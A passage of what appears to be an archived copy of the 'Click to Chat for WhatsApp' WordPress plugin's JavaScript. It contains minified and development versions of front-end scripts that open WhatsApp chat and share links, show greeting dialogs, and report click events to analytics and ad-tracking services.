h="https://wa.me/"+o+"?text="+i,d=s.url_target_d?s.url_target_d:"_blank";"yes"==n?(s.url_structure_m&&(h="whatsapp://send?phone="+o+"&text="+i,d="_self"),s.custom_url_m&&""!==s.custom_url_m&&(h=s.custom_url_m)):(s.url_structure_d&&(h="https://web.whatsapp.com/send?phone="+o+"&text="+i),s.custom_url_d&&""!==s.custom_url_d&&(h=s.custom_url_d));var l="popup"==d?"scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=788,height=514,left=100,top=100":"noopener";window.open(h,d,l),s.chat_number=o,function(){if(s.analytics&&"session"==s.analytics){if(sessionStorage.getItem("ht_ctc_analytics"))return;sessionStorage.setItem("ht_ctc_analytics","done")}function t(t){var n=s.chat_number&&""!==s.chat_number?s.chat_number:s.number;try{document.dispatchEvent(new CustomEvent("ht_ctc_event_apply_variables",{detail:{v:t}})),t=(t=(t=(t=void 0!==window.apply_variables_value?window.apply_variables_value:t).replace("{number}",n)).replace("{title}",c)).replace("{url}",e)}catch(t){}return t}document.dispatchEvent(new CustomEvent("ht_ctc_event_analytics"));var n=s.chat_number&&""!==s.chat_number?s.chat_number:s.number,a={},_="Click to Chat for WhatsApp",o="chat: "+n,i=c+", "+e;if(s.ga){var r=s.g_an_event_name&&""!==s.g_an_event_name?s.g_an_event_name:"click to chat";r=t(r),u.g_an_params&&u.g_an_params.forEach((e=>{if(u[e]){var c=u[e],n=c.key,_=c.value;n=t(n),_=t(_),a[n]=_}}));var h=0,d="no";if("undefined"!=typeof dataLayer)try{"undefined"==typeof gtag&&(window.gtag=function(){dataLayer.push(arguments)},d="yes");var l=[];function g(t){t=t.toUpperCase(),l.includes(t)||(l.push(t),(t.startsWith("G-")||t.startsWith("GT-"))&&(a.send_to=t,gtag("event",r,a),h++))}if(window.google_tag_data&&window.google_tag_data.tidr&&window.google_tag_data.tidr.destination)for(var p in window.google_tag_data.tidr.destination)g(p);dataLayer.forEach((function(t){"config"==t[0]&&t[1]&&g(p=t[1])}))}catch(y){}0==h&&"no"==d&&("undefined"!=typeof gtag?gtag("event",r,a):"undefined"!=typeof ga&&void 0!==ga.getAll?ga.getAll()[0].send("event",_,o,i):"undefined"!=typeof __gaTracker&&__gaTracker("send","event",_,o,i))}if("undefined"!=typeof dataLayer&&dataLayer.push({event:"Click to Chat",type:"chat",number:n,title:c,url:e,event_category:_,event_label:i,event_action:o,ref:"dataLayer push"}),s.ads&&"undefined"!=typeof gtag_report_conversion&&gtag_report_conversion(),s.fb&&"undefined"!=typeof fbq){var m=s.pixel_event_name&&""!==s.pixel_event_name?s.pixel_event_name:"Click to Chat by HoliThemes",v=u.pixel_event_type&&""!==u.pixel_event_type?u.pixel_event_type:"trackCustom",f={};u.pixel_params&&u.pixel_params.forEach((e=>{if(u[e]){var c=u[e],n=c.key,a=c.value;n=t(n),a=t(a),f[n]=a}})),fbq(v,m,f)}}(),function(e){if(s.hook_url){var c={};if(s.hook_v){c=void 0!==b?b:s.hook_v;var n={},a=1;c.forEach((t=>{n["value"+a]=t,a++})),s.hook_v=n}document.dispatchEvent(new CustomEvent("ht_ctc_event_hook",{detail:{ctc:s,number:e}}));var _=s.hook_url;if(c=s.hook_v,s.webhook_format&&"json"==s.webhook_format)var o=c;else o=JSON.stringify(c);t.ajax({url:_,type:"POST",mode:"no-cors",data:o,success:function(t){}})}}(o),f()}else t(".ht-ctc-chat").html(a)}"undefined"!=typeof ht_ctc_variables?u=ht_ctc_variables:(u={g_an_event_name:"click to chat",pixel_event_name:"Click to Chat by HoliThemes",pixel_event_type:"trackCustom",g_an_params:["g_an_param_1","g_an_param_2","g_an_param_3"],g_an_param_1:{key:"number",value:"{number}"},g_an_param_2:{key:"title",value:"{title}"},g_an_param_3:{key:"url",value:"{url}"},pixel_params:["pixel_param_1","pixel_param_2","pixel_param_3","pixel_param_4"],pixel_param_1:{key:"Category",value:"Click to Chat for WhatsApp"},pixel_param_2:{key:"return_type",value:"chat"},pixel_param_3:{key:"ID",value:"{number}"},pixel_param_4:{key:"Title",value:"{title}"}},window.ht_ctc_variables=u),function(){var e=document.querySelector(".ht_ctc_chat_data");e&&(a=t(".ht_ctc_chat_data").attr("data-no_number"),e.remove())}(),document.dispatchEvent(new CustomEvent("ht_ctc_event_settings",{detail:{ctc:s}})),(h=document.querySelector(".ht-ctc-chat"))&&(document.dispatchEvent(new CustomEvent("ht_ctc_event_chat")),function(t){"yes"==s.schedule?document.dispatchEvent(new CustomEvent("ht_ctc_event_display",{detail:{ctc:s,display_chat:p,ht_ctc_chat:t,online_content:v}})):(p(t),v())}(h),h.addEventListener("click",(function(){t(".ht_ctc_chat_greetings_box").length||y(h)})),t(".ht_ctc_chat_greetings_box").length&&t(document).on("click",".ht_ctc_chat_style",(function(e){t(".ht_ctc_chat_greetings_box").hasClass("ctc_greetings_opened")?g("user_closed"):d("user_opened")})),t(document).on("click",".ctc_greetings_close_btn",(function(t){g("user_closed")})),t(document).on("click",".ht_ctc_chat_greetings_box_link",(function(e){e.preventDefault(),document.querySelector("#ctc_opt")?t("#ctc_opt").is(":checked")||i("g_optin")?(y(h),l()):t(".ctc_opt_in").show(400).fadeOut("1").fadeIn("1"):(y(h),l()),document.dispatchEvent(new CustomEvent("ht_ctc_event_greetings"))})),document.querySelector("#ctc_opt")&&t("#ctc_opt").on("change",(function(e){t("#ctc_opt").is(":checked")&&(t(".ctc_opt_in").hide(100),r("g_optin","y"),setTimeout((()=>{y(h),l()}),500))}))),t(document).on("click",".ht-ctc-sc-chat",(function(){y(this)})),t(document).on("click",".ctc_chat, #ctc_chat",(function(e){y(this),t(this).hasClass("ctc_woo_place")&&e.preventDefault()})),t(document).on("click",'[href="#ctc_chat"]',(function(t){t.preventDefault(),y(this)}));var b=s.hook_v?s.hook_v:""}))}(jQuery);click-to-chat-for-whatsapp/new/inc/assets/js/share.js000064400000004400147510273110016516 0ustar00!function(h){h(function(){var t,e,a,n,i,o=window.location.href,c=void 0!==screen.width&&1024<screen.width?"no":"yes",r=void 0!==document.title?document.title:"";function s(e){try{var t=parseInt(e.getAttribute("data-show_effect"));h(e).show(t)}catch(t){e.style.display="block"}var a,n,i;n=(a=e).getAttribute("data-an_type"),i=h(a).hasClass("ht_ctc_entry_animation")?1200:120,setTimeout(function(){a.classList.add("ht_ctc_animation",n)},i),h(".ht-ctc-share").hover(function(){h(".ht-ctc-share .ht-ctc-cta-hover").show(220)},function(){h(".ht-ctc-share .ht-ctc-cta-hover").hide(100)})}function d(t){var e=t.getAttribute("data-share_text"),a="Click to Chat for WhatsApp",n="share: "+e,i=r+", "+o;"yes"==t.getAttribute("data-is_ga_enable")&&("undefined"!=typeof gtag?gtag("event",n,{event_category:a,event_label:i}):"undefined"!=typeof ga&&void 0!==ga.getAll?ga.getAll()[0].send("event",a,n,i):"undefined"!=typeof __gaTracker&&__gaTracker("send","event",a,n,i)),"undefined"!=typeof dataLayer&&dataLayer.push({event:"Click to Chat",event_category:a,event_label:i,event_action:n}),"yes"==t.getAttribute("data-ga_ads")&&"undefined"!=typeof gtag_report_conversion&&gtag_report_conversion(),"yes"==t.getAttribute("data-is_fb_pixel")&&"undefined"!=typeof fbq&&fbq("trackCustom","Click to Chat by HoliThemes",{Category:"Click to Chat for WhatsApp",return_type:"share",ID:e,Title:r,URL:o})}(i=document.querySelector(".ht-ctc-share"))&&(t=i,"yes"==c?"show"==t.getAttribute("data-display_mobile")&&((n=document.querySelector(".ht_ctc_desktop_share"))&&n.remove(),a=t.getAttribute("data-css"),e=t.getAttribute("data-position_mobile"),t.style.cssText=e+a,s(t)):"show"==t.getAttribute("data-display_desktop")&&((n=document.querySelector(".ht_ctc_mobile_share"))&&n.remove(),a=t.getAttribute("data-css"),n=t.getAttribute("data-position"),t.style.cssText=n+a,s(t)),i.addEventListener("click",function(){var t;(function(t){var e=t.getAttribute("data-share_text");t="https://"+(t="webapi"==t.getAttribute("data-webandapi")?"yes"==c?"api":"web":"api")+".whatsapp.com/send",window.open(t+"?text="+e,"_blank","noopener")})(t=i),d(t)})),h(document).on("click",".ht-ctc-sc-share",function(){data_link=this.getAttribute("data-ctc-link"),data_link=encodeURI(data_link),window.open(data_link,"_blank","noopener"),d(this)})})}(jQuery);click-to-chat-for-whatsapp/new/inc/assets/js/woo.js000064400000003324147510273110016224 0ustar00!function(l){l(function(){try{document.querySelector(".single_add_to_cart_button")||document.querySelector(".add_to_cart_button")?function(){var t,o,c,e=document.querySelector(".single_add_to_cart_button"),r=document.querySelector(".add_to_cart_button");if(document.querySelector(".ctc_woo_single_cart_layout .s1_btn")&&(t=document.querySelector(".ctc_woo_single_cart_layout .s1_btn"),o=l(t).css("color"),c=l(t).css("background-color"),e&&(_(e,t),l(t).css({display:"inline-flex",width:"fit-content","align-items":"center",color:o,"background-color":c})),s()),document.querySelector(".ctc_woo_shop_cart_layout .s1_btn")){let t=document.querySelectorAll(".ctc_woo_shop_cart_layout .s1_btn");r&&t.length&&(o=l(t).css("color"),c=l(t).css("background-color"),t.forEach(t=>{_(r,t)}),l(t).css({display:"inline-flex",width:"fit-content","align-items":"center",color:o,"background-color":c})),s()}function n(t){l(t).css({"min-height":l(e).css("min-height"),"font-size":l(e).css("font-size"),"font-weight":l(e).css("font-weight"),"letter-spacing":l(e).css("letter-spacing"),"border-radius":l(e).css("border-radius"),width:"fit-content"}),s()}function _(t,o){const c=window.getComputedStyle(t);Array.from(c).forEach(t=>o.style.setProperty(t,c.getPropertyValue(t),c.getPropertyPriority(t)))}document.querySelector(".ctc_woo_shop_cart_layout .s_8")&&n(document.querySelector(".ctc_woo_shop_cart_layout .s_8")),document.querySelector(".ctc_woo_single_cart_layout .s_8")&&n(document.querySelector(".ctc_woo_single_cart_layout .s_8"))}():document.querySelector(".ctc_woo_place")&&s()}catch(t){}function s(){document.querySelector(".ctc_woo_schedule")||(l(".ctc_woo_place").css({display:l(".ctc_woo_place").attr("data-dt")}),l(".ctc_woo_place").show())}})}(jQuery);click-to-chat-for-whatsapp/new/inc/assets/js/dev/app.dev.js000064400000117665147510273110017551 0ustar00// Click to Chat
(function ($) {

    // ready
    $(function () {

        // variables
        var v = '4.9';
        var url = window.location.href;
        var post_title = (typeof document.title !== "undefined") ? document.title : '';
        var is_mobile = 'no';

        try {
            // Where user can install app. 
            is_mobile = (typeof navigator.userAgent !== "undefined" && navigator.userAgent.match(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i)) ? "yes" : "no";
            console.log('User agent: is_mobile: ' + is_mobile);
        } catch (e) {}

        if ('no' == is_mobile) {
            // is_mobile yes/no,  desktop > 1025
            var is_mobile = (typeof screen.width !== "undefined" && screen.width > 1025) ? "no" : "yes";
            console.log('screen width: is_mobile: ' + is_mobile);
        }

        var no_num = '';

        var ht_ctc_storage = {};

        function getStorageData() {
            console.log('app.js - getStorageData');
            if (localStorage.getItem('ht_ctc_storage')) {
                ht_ctc_storage = localStorage.getItem('ht_ctc_storage');
                ht_ctc_storage = JSON.parse(ht_ctc_storage);
                console.log(ht_ctc_storage);
            }
        }
        getStorageData();

        // get items from ht_ctc_storage
        function ctc_getItem(item) {
            console.log('app.js - ctc_getItem');
            return (ht_ctc_storage[item]) ? ht_ctc_storage[item] : false;
        }

        // set items to ht_ctc_storage storage
        function ctc_setItem(name, value) {
            console.log(ht_ctc_storage);
            getStorageData();
            console.log(ht_ctc_storage);
            console.log('app.js - ctc_setItem: name: ' + name + ' value: ' + value);
            ht_ctc_storage[name] = value;
            console.log(ht_ctc_storage);
            var newValues = JSON.stringify(ht_ctc_storage);
            localStorage.setItem('ht_ctc_storage', newValues);
        }

        var ctc = '';
        variable_ctc();

        var ctc_values = {};
        variable_ctc_values();

        // document.dispatchEvent(
        //     new CustomEvent("ht_ctc_fn_all", { detail: { ht_ctc_storage, ctc_setItem, ctc_getItem } })
        // );
        
        chat_data();
        start();

        /**
         * get ht_ctc_chat_var and assing to ctc variable
         */
        function variable_ctc() {
            if (typeof ht_ctc_chat_var !== "undefined") {
                ctc = ht_ctc_chat_var;
            } else {
                try {
                    if (document.querySelector('.ht_ctc_chat_data')) {
                        var settings = $('.ht_ctc_chat_data').attr('data-settings');
                        ctc = JSON.parse(settings);
                        window.ht_ctc_chat_var = ctc;
                    }
                } catch (e) {
                    ctc = {};
                }
            }
        }

        /**
         * get ht_ctc_variables and assing to ctc_values variable
         */
        function variable_ctc_values() {
            console.log('variable_ctc_values');

            if (typeof ht_ctc_variables !== "undefined") {
                ctc_values = ht_ctc_variables;
            } else {
                // fallback values(dont merge).. only if ht_ctc_variables not loaded.
                // later remove params in this fallback values to reduce size.
                ctc_values = {
                    'g_an_event_name': 'click to chat',
                    'pixel_event_name': 'Click to Chat by HoliThemes',
                    'pixel_event_type': 'trackCustom',
                    'g_an_params': ['g_an_param_1', 'g_an_param_2', 'g_an_param_3'],
                    'g_an_param_1': { 'key': 'number', 'value': '{number}' },
                    'g_an_param_2': { 'key': 'title', 'value': '{title}' },
                    'g_an_param_3': { 'key': 'url', 'value': '{url}' },
                    'pixel_params': ['pixel_param_1', 'pixel_param_2', 'pixel_param_3', 'pixel_param_4'],
                    'pixel_param_1': { 'key': 'Category', 'value': 'Click to Chat for WhatsApp' },
                    'pixel_param_2': { 'key': 'return_type', 'value': 'chat' },
                    'pixel_param_3': { 'key': 'ID', 'value': '{number}' },
                    'pixel_param_4': { 'key': 'Title', 'value': '{title}' },
                }
                window.ht_ctc_variables = ctc_values;
                console.log(ht_ctc_variables);
            }
            console.log(ctc_values);
        }

        function chat_data() {

            // if no num
            var chat_data = document.querySelector('.ht_ctc_chat_data');

            if (chat_data) {
                no_num = $(".ht_ctc_chat_data").attr('data-no_number');
                // remove the element
                chat_data.remove();
            }

        }

        // start
        function start() {

            console.log(ctc);
            document.dispatchEvent(
                new CustomEvent("ht_ctc_event_settings", { detail: { ctc } })
            );

            // fixed position
            ht_ctc();

            // shortcode
            shortcode();

            // custom element
            custom_link();

        }






        // fixed position
        function ht_ctc() {
            console.log('ht_ctc');
            var ht_ctc_chat = document.querySelector('.ht-ctc-chat');
            if (ht_ctc_chat) {

                document.dispatchEvent(
                    new CustomEvent("ht_ctc_event_chat")
                );

                // display
                display_settings(ht_ctc_chat);

                // click
                ht_ctc_chat.addEventListener('click', function () {
                    // ht_ctc_chat_greetings_box (ht_ctc_chat_greetings_box_link) is not exists..

                    if (!$('.ht_ctc_chat_greetings_box').length) {
                        console.log('no greetings dialog');
                        // link
                        ht_ctc_link(ht_ctc_chat);
                    }
                });

                // greetings dialog settings..
                greetings();

                // greetings link click..
                $(document).on('click', '.ht_ctc_chat_greetings_box_link', function (e) {
                    console.log('ht_ctc_chat_greetings_box_link');
                    e.preventDefault();

                    // optin
                    if (document.querySelector('#ctc_opt')) {
                        // if (ctc_getItem('g_optin')) {
                        //     $('#ctc_opt').prop('checked', true);
                        // }
                        if ($('#ctc_opt').is(':checked') || ctc_getItem('g_optin')) {
                            console.log('optin');
                            ht_ctc_link(ht_ctc_chat);
                            // close greetings dialog
                            greetings_close_500();
                        } else {
                            console.log('animate option checkbox');
                            $('.ctc_opt_in').show(400).fadeOut('1').fadeIn('1');
                        }
                    } else {
                        ht_ctc_link(ht_ctc_chat);
                        // close greetings dialog
                        greetings_close_500();
                    }

                    document.dispatchEvent(
                        new CustomEvent("ht_ctc_event_greetings")
                    );

                });

                // optin - checkbox on change
                if (document.querySelector('#ctc_opt')) {
                    $("#ctc_opt").on("change", function (e) {
                        if ($('#ctc_opt').is(':checked')) {
                            $('.ctc_opt_in').hide(100);
                            ctc_setItem('g_optin', 'y');
                            setTimeout(() => {
                                ht_ctc_link(ht_ctc_chat);
                                greetings_close_500();
                            }, 500);
                        }
                    });
                }

            }

        }


        /**
         * greetings dialog
         */
        function greetings() {

            if ($('.ht_ctc_chat_greetings_box').length) {

                $(document).on('click', '.ht_ctc_chat_style', function (e) {
                    // ctc_greetings_opened / ctc_greetings_closed
                    if ($('.ht_ctc_chat_greetings_box').hasClass('ctc_greetings_opened')) {
                        greetings_close('user_closed');
                    } else {
                        greetings_open('user_opened');
                    }
                });

            }

            // close btn - greetings dialog
            $(document).on('click', '.ctc_greetings_close_btn', function (e) {
                greetings_close('user_closed');
            });

        }

        function greetings_display() {
            console.log('greetings_display');

            if ($('.ht_ctc_chat_greetings_box').length) {

                // Display greetings - device based
                if (ctc.g_device) {
                    if (is_mobile !== 'yes' && 'mobile' == ctc.g_device) {
                        // in desktop: mobile only
                        $('.ht_ctc_chat_greetings_box').remove();
                        return;
                    } else if (is_mobile == 'yes' && 'desktop' == ctc.g_device) {
                        // in mobile: desktop only
                        $('.ht_ctc_chat_greetings_box').remove();
                        return;
                    }
                }

                document.dispatchEvent(
                    new CustomEvent("ht_ctc_event_after_chat_displayed", { detail: { ctc, greetings_open, greetings_close } })
                );

                if (ctc.g_init && 'user_closed' !== ctc_getItem('g_user_action')) {
                    console.log('g_init');
                    // initial stage - default(preset): open on desktop, closes on mobile. open: open on all devices.
                    if ('default' == ctc.g_init) {
                        // if desktop then open
                        if (is_mobile !== 'yes') {
                            greetings_open('init');
                        }
                    } else if('open' == ctc.g_init) {
                        greetings_open('init');
                    }
                }


                $(document).on('click', '.ctc_greetings, #ctc_greetings, .ctc_greetings_now, [href="#ctc_greetings"]', function (e) {
                    console.log('greetings open triggered');
                    e.preventDefault();
                    greetings_close('element');
                    greetings_open('element');
                });

            }

        }

        /**
         * ht_ctc_chat_greetings_box_user_action - this is needed for initial close or open.. if user closed.. then no auto open initially
         * 
         */
        function greetings_open(message = 'open') {
            console.log('Greetings open: ' + message);

            stop_notification_badge();

            $('.ctc_cta_stick').remove();


            // todo:l enhance entry animations effects.. 
            if ('init' == message) {
                $('.ht_ctc_chat_greetings_box').show(70);
            } else {
                $('.ht_ctc_chat_greetings_box').show(400);
            }


            $('.ht_ctc_chat_greetings_box').addClass('ctc_greetings_opened').removeClass('ctc_greetings_closed');
            ctc_setItem('g_action', message);
            if ('user_opened' == message) {
                ctc_setItem('g_user_action', message);
            }
        }

        function greetings_close_500() {
            setTimeout(() => {
                greetings_close('chat_clicked');
            }, 500);
        }

        function greetings_close(message = 'close') {
            console.log('Greetings close: ' + message);
            
            if ('element' == message) {
                $('.ht_ctc_chat_greetings_box').hide(70);
            } else {
                $('.ht_ctc_chat_greetings_box').hide(400);
            }

            $('.ht_ctc_chat_greetings_box').addClass('ctc_greetings_closed').removeClass('ctc_greetings_opened');
            ctc_setItem('g_action', message);
            if ('user_closed' == message) {
                ctc_setItem('g_user_action', message);
            }
        }

        // display settings - Fixed position style
        function display_settings(ht_ctc_chat) {

            if ('yes' == ctc.schedule) {
                console.log('scheduled');
                document.dispatchEvent(
                    new CustomEvent("ht_ctc_event_display", { detail: { ctc, display_chat, ht_ctc_chat, online_content } })
                );
            } else {
                console.log('display directly');
                display_chat(ht_ctc_chat);
                online_content();
            }

        }

        // display based on device
        function display_chat(p) {

            if (is_mobile == 'yes') {
                if ('show' == ctc.dis_m) {

                    // remove desktop style
                    var rm = document.querySelector('.ht_ctc_desktop_chat');
                    (rm) ? rm.remove() : '';

                    p.style.cssText = ctc.pos_m + ctc.css;
                    display(p)
                }
            } else {
                if ('show' == ctc.dis_d) {

                    // remove mobile style
                    var rm = document.querySelector('.ht_ctc_mobile_chat');
                    (rm) ? rm.remove() : '';

                    p.style.cssText = ctc.pos_d + ctc.css;
                    display(p)
                }
            }


        }

        function display(p) {
            try {
                $(p).show(parseInt(ctc.se));
            } catch (e) {
                p.style.display = "block";
            }

            greetings_display();
            display_notifications();

            ht_ctc_things(p);
        }

        /**
         * online content
         * 
         * @since 3.34
         */
        function online_content() {

            console.log('online_content');

            if ($('.for_greetings_header_image_badge').length) {
                $('.for_greetings_header_image_badge').addClass('g_header_badge_online');
                // $('.for_greetings_header_image_badge').show(500);
                $('.for_greetings_header_image_badge').show();
            }


        }


        // ht_ctc_notification
        function display_notifications() {
            console.log('display_notifications');
            if (document.querySelector('.ht_ctc_notification') && 'stop' !== ctc_getItem('n_badge')) {

                if (document.querySelector('.ctc_nb')) {
                    console.log('overwrite top, right');
                    // get parent of badge and then get top, right with in that element. (to avoid conflict with other styles if added using shortcode or so...)
                    var main = $('.ht_ctc_badge').closest('.ht_ctc_style');

                    $('.ht_ctc_badge').css({
                        // overwrite top, right. if undefined or false then use default(as it can't overwrite at broswer).
                        "top": $(main).find('.ctc_nb').attr('data-nb_top'),
                        "right": $(main).find('.ctc_nb').attr('data-nb_right')
                    });
                }


                var n_time = (ctc.n_time) ? ctc.n_time * 1000 : '150'
                setTimeout(() => {
                    console.log('display_notifications: show');
                    $('.ht_ctc_notification').show(400);
                }, n_time);

            }
        }

        // after user clicks to chat or open greetings
        function stop_notification_badge() {
            console.log('stop _notification _badge');
            if (document.querySelector('.ht_ctc_notification')) {
                console.log('stop _notification _badge in if');
                ctc_setItem('n_badge', 'stop');
                $('.ht_ctc_notification').remove();
            }
        }

        // animiation, cta hover effect
        function ht_ctc_things(p) {
            console.log('animations ' + ctc.ani);
            // animations
            var an_time = ($(p).hasClass('ht_ctc_entry_animation')) ? 1200 : 120;
            setTimeout(function () {
                p.classList.add('ht_ctc_animation', ctc.ani);
            }, an_time);

            // cta hover effects
            $(".ht-ctc-chat").hover(function () {
                $('.ht-ctc-chat .ht-ctc-cta-hover').show(120);
            }, function () {
                $('.ht-ctc-chat .ht-ctc-cta-hover').hide(100);
            });
        }

        // analytics
        function ht_ctc_chat_analytics(values) {

            console.log('analytics');
            console.log(values);

            if (ctc.analytics) {

                // todo:l - maybe else need if user changed to all clicks. 
                if ('session' == ctc.analytics) {

                    if (sessionStorage.getItem('ht_ctc_analytics')) {
                        // not a unique session - return
                        console.log(sessionStorage.getItem('ht_ctc_analytics'));
                        console.log('no analytics');
                        return;
                    } else {
                        // unique session - continue..
                        console.log('no sessionStorage');
                        sessionStorage.setItem('ht_ctc_analytics', 'done');
                        console.log('added new sessionStorage');
                    }

                }

            }

            // apply variables
            function apply_variables(v) {
                console.log('apply_variables');
                var number = (ctc.chat_number && '' !== ctc.chat_number) ? ctc.chat_number : ctc.number;
                console.log(number);

                try {

                    console.log(v);
                    document.dispatchEvent(
                        new CustomEvent("ht_ctc_event_apply_variables", { detail: { v } })
                    );

                    console.log('window.apply_variables_value: ' + window.apply_variables_value);

                    // if window.apply_variables_value is set.. then use that value. can set by extension or so.
                    v = (typeof window.apply_variables_value !== "undefined") ? window.apply_variables_value : v;

                    console.log(v);

                    // v = v.replace(/\{number\}/gi, number);
                    v = v.replace('{number}', number);
                    v = v.replace('{title}', post_title);
                    v = v.replace('{url}', url);
                } catch (e) { }

                console.log(v);
                return v;
            }


            document.dispatchEvent(
                new CustomEvent("ht_ctc_event_analytics")
            );

            var id = (ctc.chat_number && '' !== ctc.chat_number) ? ctc.chat_number : ctc.number;

            // if its shortcode
            // if (values.classList.contains('ht-ctc-sc')) {
            //     // shortcode number
            //     id = values.getAttribute('data-number');
            // }

            console.log(id);

            // Google Analytics

            /**
             * if installed using GTM then gtag may not work. so user can create event using dataLayer object.
             * if google anlatyics installed using gtm (from GTM user can create event using gtm datalayer object, ...)
             * 
             * if google analytics installed directly. then gtag works. 
             * 
             * analytics - event names added to ht_ctc_chat_var (its loads most cases with out issue) and event params added to ht_ctc_variables.
             */


            var ga_parms = {};
            var ga_category = 'Click to Chat for WhatsApp';
            var ga_action = 'chat: ' + id;
            var ga_label = post_title + ', ' + url;


            // if ga_enabled
            if (ctc.ga) {
                console.log('google analytics');

                var g_event_name = (ctc.g_an_event_name && '' !== ctc.g_an_event_name) ? ctc.g_an_event_name : 'click to chat';
                console.log('Event Name: ' + g_event_name);
                g_event_name = apply_variables(g_event_name);

                // if ht_ctc_variables is not loaded to front end, then use default values.
                // since 3.31. with user defined event name, params
                console.log(ctc_values);

                if (ctc_values.g_an_params) {
                    console.log('g_an_params');
                    console.log(ctc_values.g_an_params);
                    ctc_values.g_an_params.forEach(e => {
                        console.log(e);
                        if (ctc_values[e]) {
                            var p = ctc_values[e];
                            console.log(p);
                            var k = p['key'];
                            var v = p['value'];
                            k = apply_variables(k);
                            v = apply_variables(v);
                            console.log(k);
                            console.log(v);
                            ga_parms[k] = v;
                        }
                    });
                }
                console.log('ga_parms');
                console.log(ga_parms);

                var gtag_count = 0;

                // is gtag function added by plugin
                var is_ctc_add_gtag = 'no';

                if (typeof dataLayer !== "undefined") {

                    console.log('event with gtag id..');

                    try {

                        // if gtag not defined. then create gtag function
                        if (typeof gtag == "undefined") {
                            console.log('gtag not defined');
                            window.gtag = function () {
                                dataLayer.push(arguments);
                            };
                            is_ctc_add_gtag = 'yes';
                        }

                        var tags_list = [];

                        function call_gtag(tag_id) {

                            tag_id = tag_id.toUpperCase();
                            console.log('fn: call_gtag(): ' + tag_id);

                            
                            console.log(tags_list);

                            if (tags_list.includes(tag_id)) {
                                console.log('tag_id already included');
                                return;
                            }

                            tags_list.push(tag_id);
                            console.log(tags_list);

                            // if starts with g- or gt-
                            if (tag_id.startsWith('G-') || tag_id.startsWith('GT-')) {

                                ga_parms['send_to'] = tag_id;
                                console.log(ga_parms);

                                console.log('gtag event - send_to: ' + tag_id);

                                gtag('event', g_event_name, ga_parms);

                                gtag_count++;

                            }
                        }

                        if (window.google_tag_data && window.google_tag_data.tidr && window.google_tag_data.tidr.destination) {
                            console.log('google_tag_data tidr destination');
                            console.log(window.google_tag_data.tidr.destination);

                            // for each tag_id
                            for (var tag_id in window.google_tag_data.tidr.destination) {
                                console.log('google_tag_data destination - loop: ' + tag_id);
                                call_gtag(tag_id);
                            }
                        }

                        dataLayer.forEach(function (i) {
                            console.log('datalayer - loop');
                            console.log(i);
                            if (i[0] == 'config' && i[1]) {
                                tag_id = i[1];
                                console.log('datalayer - loop - tag_id: ' + tag_id);
                                call_gtag(tag_id);
                            }
                        });

                    } catch (e) {}
                }

                // if above method sending event with tag_id is not worked. and if gtag is already defined. then call default gtag (safe side)
                if (0 == gtag_count && 'no' == is_ctc_add_gtag) {
                    if (typeof gtag !== "undefined") {
                        console.log('calling gtag - default');
                        gtag('event', g_event_name, ga_parms);
                    } else if (typeof ga !== "undefined" && typeof ga.getAll !== "undefined") {
                        console.log('ga');
                        var tracker = ga.getAll();
                        tracker[0].send("event", ga_category, ga_action, ga_label);
                        // ga('send', 'event', 'check ga_category', 'ga_action', 'ga_label');
                        // ga.getAll()[0].send("event", 'check ga_category', 'ga_action', 'ga_label');
                    } else if (typeof __gaTracker !== "undefined") {
                        console.log('__gaTracker');
                        __gaTracker('send', 'event', ga_category, ga_action, ga_label);
                    }
                }

            }

            // dataLayer (for GTM)
            if (typeof dataLayer !== "undefined") {
                console.log('dataLayer');
                dataLayer.push({
                    'event': 'Click to Chat',
                    'type': 'chat',
                    'number': id,
                    'title': post_title,
                    'url': url,
                    'event_category': ga_category,
                    'event_label': ga_label,
                    'event_action': ga_action,
                    'ref': 'dataLayer push'
                });
            }

            // google ads - call conversation code
            if (ctc.ads) {
                console.log('google ads enabled');
                if (typeof gtag_report_conversion !== "undefined") {
                    console.log('calling gtag_report_conversion');
                    gtag_report_conversion();
                }
            }

            /**
             * FB Pixel
             * https://developers.facebook.com/docs/meta-pixel/implementation/conversion-tracking
             */
            if (ctc.fb) {
                console.log('fb pixel');

                if (typeof fbq !== "undefined") {

                    // event name
                    var pixelEventName = (ctc.pixel_event_name && '' !== ctc.pixel_event_name) ? ctc.pixel_event_name : 'Click to Chat by HoliThemes';
                    console.log('Event Name: ' + pixelEventName);

                    // Event type: track/trackCustom
                    var pixelTrack = (ctc_values.pixel_event_type && '' !== ctc_values.pixel_event_type) ? ctc_values.pixel_event_type : 'trackCustom';
                    console.log('Track: ' + pixelTrack);
                    
                    var pixelParams = {};
                    console.log(typeof pixelParams);
                    
                    if (ctc_values.pixel_params) {
                        console.log(ctc_values.pixel_params);
                        console.log('pixel_params');
                        ctc_values.pixel_params.forEach(e => {
                            console.log(e);
                            if (ctc_values[e]) {
                                var p = ctc_values[e];
                                console.log(p);
                                var k = p['key'];
                                var v = p['value'];
                                k = apply_variables(k);
                                v = apply_variables(v);
                                console.log(k);
                                console.log(v);
                                pixelParams[k] = v;
                            }
                        });
                    }
                    console.log(pixelParams);

                    fbq(pixelTrack, pixelEventName, pixelParams);
                }
            }

        }

        /**
         *  link - chat
         * 
         * @used floating chat, shortcode, custom element. ht_ctc_chat_greetings_box_link click
         */
        function ht_ctc_link(values) {

            console.log('ht_ctc_link');
            console.log(values);

            console.log(ctc.number);
            document.dispatchEvent(
                new CustomEvent("ht_ctc_event_number", { detail: { ctc } })
            );
            console.log(ctc.number);

            var number = ctc.number;
            var pre_filled = ctc.pre_filled;

            if ( values.hasAttribute('data-number') && '' !== values.getAttribute('data-number') ) {
                console.log('data-number is added');
                number = values.getAttribute('data-number');
                console.log('data-number: ' + number);
            }

            if (values.hasAttribute('data-pre_filled')) {
                console.log('has pre_filled attribute');
                pre_filled = values.getAttribute('data-pre_filled');
            }

            /**
             * safari 13.. before replaceAll not supports..
             */
            try {
                pre_filled = pre_filled.replaceAll('%', '%25');

                var update_url = window.location.href;
                pre_filled = pre_filled.replace(/\[url]/gi, update_url);

                // pre_filled = encodeURIComponent(pre_filled);
                pre_filled = encodeURIComponent(decodeURI(pre_filled));
            } catch (e) { }

            if ('' == number) {
                console.log('no number');
                $(".ht-ctc-chat").html(no_num);
                return;
            }

            // navigations links..
            // 1.base_url
            var base_url = 'https://wa.me/' + number + '?text=' + pre_filled;

            // 2.url_target - _blank, _self or if popup type just add a name - here popup only
            var url_target = (ctc.url_target_d) ? ctc.url_target_d : '_blank';

            if (is_mobile == 'yes') {
                console.log('-- mobile --');
                // mobile
